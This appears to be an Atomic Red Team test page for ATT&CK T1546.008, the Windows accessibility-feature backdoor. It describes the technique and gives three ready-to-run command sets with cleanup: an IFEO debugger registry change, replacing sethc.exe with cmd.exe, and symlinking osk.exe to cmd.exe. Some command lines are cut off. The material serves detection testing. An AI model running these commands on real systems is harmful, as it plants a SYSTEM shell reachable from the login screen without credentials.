

# T1546.008 - Event Triggered Execution: Accessibility Features

## Description from ATT&CK

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `C:\Windows\System32\sethc.exe`, launched when the shift key is pressed five times and `C:\Windows\System32\utilman.exe`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature

binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](#) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\Windows\System32\utilman.exe) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](#) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)

- On-Screen Keyboard: C:\Windows\System32\osk.exe
- Magnifier: C:\Windows\System32\Magnify.exe
- Narrator: C:\Windows\System32\Narrator.exe
- Display Switcher: C:\Windows\System32\DisplaySwitch.exe
- App Switcher: C:\Windows\System32\AtBroker.exe

## Atomic Tests

•

[Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target Processes](#)

- 

[Atomic Test #2 - Replace binary of sticky keys](#)

- 

[Atomic Test #3 - Create Symbolic Link From osk.exe to cmd.exe](#)

## Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target Processes

---

Attaches cmd.exe to a list of processes. Configure your own Input arguments to a different executable or list of executables.  
Upon successful execution, powershell will modify the registry and swap osk.exe with cmd.exe.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 3309f53e-b22b-4eb6-8fd2-a6cf58b355a9

**Inputs:**

Name	Description	Type	Default Value
------	-------------	------	---------------

parent_list	Comma separated list of system binaries to which you want to attach each # {attached_process}. Default: "osk.exe"	String	osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe
attached_process	Full path to process to attach to target in # {parent_list}. Default: cmd.exe	Path	C:\windows\system32\cmd.exe

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

```
$input_table = "#{parent_list}".split(",")
$Name = "Debugger"
$Value = "#{attached_process}"
Foreach ($item in $input_table){
    $item = $item.trim()
    $registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Opt
    IF(!(Test-Path $registryPath))
    {
        New-Item -Path $registryPath -Force
        New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
    }
    ELSE
    {
        New-ItemProperty -Path $registryPath -Name $name -Value $Value
    }
}
```

Cleanup Commands:

```
$input_table = "#{parent_list}".split(",")
Foreach ($item in $input_table)
{
    $item = $item.trim()
    reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execu
}
```

## Atomic Test #2 - Replace binary of sticky keys

---

Replace sticky keys binary (sethc.exe) with cmd.exe

**Supported Platforms:** Windows

**auto\_generated\_guid:** 934e90cf-29ca-48b3-863c-411737ad44e3

**Attack Commands:** Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe)
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
```



**Cleanup Commands:**

```
copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe
```



## Atomic Test #3 - Create Symbolic Link From osk.exe to cmd.exe

Replace accessibility executable with cmd.exe to provide elevated command prompt from login screen without logging in.

**Supported Platforms:** Windows

**auto\_generated\_guid:** 51ef369c-5e87-4f33-88cd-6d61be63edf2

**Attack Commands:** Run with `command_prompt!` Elevation Required (e.g. root or admin)

```
IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\o
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe
```



**Cleanup Commands:**

```
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe
icacls %windir%\system32\osk.exe /inheritance:d
icacls %windir%\system32\osk.exe /setowner "NT SERVICE\TrustedInstaller"
icacls %windir%\System32\osk.exe /grant "NT SERVICE\TrustedInstaller":F /t
icacls %windir%\system32\osk.exe /grant:r SYSTEM:RX
icacls %windir%\system32\osk.exe /grant:r Administrators:RX
```



